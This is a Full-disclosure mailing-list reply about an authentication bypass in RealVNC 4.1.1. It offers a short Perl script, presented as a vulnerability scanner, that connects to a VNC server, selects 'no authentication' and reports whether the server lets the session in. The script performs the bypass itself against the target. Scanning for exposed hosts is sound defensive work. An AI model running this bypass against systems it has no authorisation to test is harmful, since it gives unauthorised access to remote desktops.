RE: [Full-disclosure] RealVNC 4.1.1 Remote Compromise

[Krpata, Tyler]

Here's a real quick vulnerability check in Perl...I think someone else
put out another scanner, but there was no source provided and it wasn't
working right for me.

------------------------------------------------------------------------
--------------------
#!/usr/bin/perl

# scan for OpenVNC 4.11 authentication bypass

use IO::Socket;

$host =3D $ARGV[0];
$port =3D $ARGV[1] || 5900;

$host or die("$0 <host> <port>\n");

print "Connecting to $host:$port..."; $| =3D 1;
($sock =3D IO::Socket::INET->new(PeerAddr =3D> $host,
PeerPort =3D> $port,
Proto =3D> 'tcp',)) ? print =
"success!\n"
: die("failed\n");


#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
print "Using protocol $protocol_version";

# get security types that we'll be ignoring
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));

# choose no authentication
print $sock "\x01";

# we should get "0000" back
$sock->read($in,4);
if(unpack('I',$in)) { die("Not vulnerable\n") };

# client initialize
print $sock "\x01";

# if the server starts sending data we are in
$sock->read($in,4);
(unpack('I',$in)) ? print("Vulnerable!\n") : die("Not vulnerable\n") ;=20

exit;